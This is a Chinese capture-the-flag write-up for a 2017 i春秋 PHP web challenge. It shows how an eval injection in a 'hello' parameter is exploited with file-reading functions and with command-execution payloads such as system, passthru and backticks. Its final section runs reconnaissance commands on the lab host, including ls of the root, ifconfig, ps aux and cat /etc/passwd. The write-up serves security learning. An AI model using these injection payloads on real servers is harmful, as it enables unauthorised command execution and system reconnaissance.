【i春秋】 Web —— 爆破-2

0x00 前言

此题出自「百度杯」CTF 比赛 2017 二月场,是第二道 「爆破」系列的 Web 题,重点考察大家对 PHP 文件系统函数命令执行函数的熟练度,难度中低,需要的基础知识有:PHP、Bash

题目链接在「i春秋」的 CTF 大本营,解题链接通过创建在线靶场后得到:

question

0x01 利用文件系统函数

打开链接,发现 PHP 源码与第一题的类似,只不过是少了对 hello 参数值的正则匹配:

1
2
3
4
5
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

根据提示,flag 不再藏于某变量中,再由第 2 行的文件包含语句,推测 flag 应该在 flag.php 文件里。

因此,我们先尝试利用文件系统函数来读取 flag.php 文件的内容,本题依旧与「爆破」关系不大。

file()

file() 函数用于将整个文件读入数组中。

尝试构造 payload hello=file("flag.php"),提交后直接看到 flag,证明推测正确:

file

file_get_contents()

file_get_contents() 函数用于将整个文件读入到一个字符串中。

尝试构造 payload hello=file_get_contents("flag.php") ,提交后竟未显示 flag?这是因为 flag.php 文件中的内容以界定符 <?php 开头,所以输出到浏览器时,该字符串被当做 PHP 脚本不予显示。但不必担心,右击页面空白处,查看网页源代码,即可看到 flag:

file-get-contents

show_source()

show_source() 函数等同于 highlight_file() 函数,可将一个 PHP 脚本文件语法高亮。

尝试构造 payload hello=show_source("flag.php"),提交后能看到语法高亮后的 flag:

show-source

readfile()

readfile() 函数用于读取一个文件并写入到输出缓冲区。

在提交 payload hello=readfile("flag.php") 后,在网页源代码处可看到 flag:

readfile

fread()

fread() 函数用于读取二进制文件,不过首先得用 fopen() 函数创建文件句柄,填入第一个参数,并在第二个参数中填入可读取的最大字节数。

因此,构造 payload hello=fread(fopen("flag.php","r"),100),提交后在网页源代码处可看到 flag:

fread

以上是直接读取脚本文件源码的常见函数,感兴趣的读者可深入研究。

0x02 利用命令执行函数

下面介绍另一种获取文件内容的方式,即利用 PHP 中的命令执行函数,通过执行系统命令以显示文件内容。

首先,由预定义常量 PHP_OS 可知后台操作系统的类型,构造 hello=PHP_OS 提交后,发现是 Linux 操作系统:

php-os

执行运算符

PHP 的执行运算符为反引号「`」,可将反引号之间的内容作为 shell 命令执行,并返回所有执行结果。

在构造 payload 之前,需要做两件事:

  • 闭合前面的 var_dump( 字符串。
  • 注释后面的 ); 字符串。

因此,构造 payload hello=);echo `cat flag.php`;//,提交后在网页源代码处即可看到 flag:

backticks

system()

system() 函数用于执行外部程序,输出执行结果,并返回结果的最后一行。

因此,在提交 payload hello=);echo system("cat flag.php");// 后,在网页源代码处可看到两个 flag,是因为第一个 flag 是由输出结果而得,第二个 flag 是由返回值而得:

system

exec()

exec() 函数用于执行一个外部程序,并返回结果的最后一行。

因此,在提交 payload hello=);echo exec("cat flag.php");// 后,直接可见 flag,因此 flag 正好是 flag.php 文件中的最后一行:

exec

shell_exec()

shell_exec() 函数可通过 shell 环境执行命令,并返回所有执行结果,本函数功能与执行运算符相同。

因此,构造 payload hello=);echo shell_exec("cat flag.php");//,提交后在网页源代码处即可看到 flag:

shell-exec

passthru()

passthru() 函数用于执行外部函数,并输出原始执行结果,没有返回值。

因此,构造 payload hello=);echo passthru("cat flag.php");//,提交后在网页源代码处即可看到 flag:

passthru

popen()

popen() 函数用于创建指向命令执行进程的文件句柄,与 fopen() 函数类似,最后将通过 fread() 函数读取命令执行的结果。

因此,构造 payload hello=);echo fread(popen("cat flag.php","r"),100);//,提交后在网页源代码处即可看到 flag:

popen

以上是通过执行系统命令打印出文件内容的常见函数,感兴趣的读者可深入研究。

0x03 题外话

既然能执行系统命令,可拓展的思路那就多了,比如存在目录遍历漏洞、查看当前 Linux 版本信息、查看当前网卡信息、查看当前进程信息、查看所有用户信息等。

下面以 pathssru() 函数为例,简单地介绍一下命令执行漏洞的利用方法。

目录遍历漏洞

目录遍历漏洞是由于系统未过滤用户输入的目录跳转符 ../,导致恶意用户可通过不断提交若干个目录跳转符,从而遍历系统中的所有目录。

经过笔者不断尝试,查看大部分目录下有哪些文件是没问题的,如提交 payload hello=);echo passthru("ls ../../../");// 后,即可看到根目录下的所有文件:

ls

查看当前 Linux 版本信息

通过 uname -a 命令可查看当前 Linux 版本信息。

因此,构造 payload hello=);echo passthru("uname -a");//,提交后可见当前 Linux 内核版本为 3.10.0-514.26.2.el7.x86_64

uname

查看当前网卡信息

通过 ifconfig 命令可查看当前网卡信息。

因此,构造 payload hello=);echo passthru("ifconfig");//,提交后可见 eth0 网卡的 IP 地址为 172.17.0.26

ifconfig

查看当前进程信息

通过 ps aux 命令可查看当前进程信息。

因此,构造 payload hello=);echo passthru("ps aux");//,提交后可见当前所有进程的信息:

ps

查看所有用户信息

通过 cat /etc/passwd 命令可查看所有用户信息。

因此,构造 payload hello=);echo passthru("cat /etc/passwd");//,提交后可见当前所有用户的信息:

passwd

其中当前的用户名是 apache,不要问我是怎么知道的。

到此为止,这道题就告一段落了,读者感兴趣的话可挖掘更多的玩法,只可惜当前用户不是 root,不然可玩性就更高了:)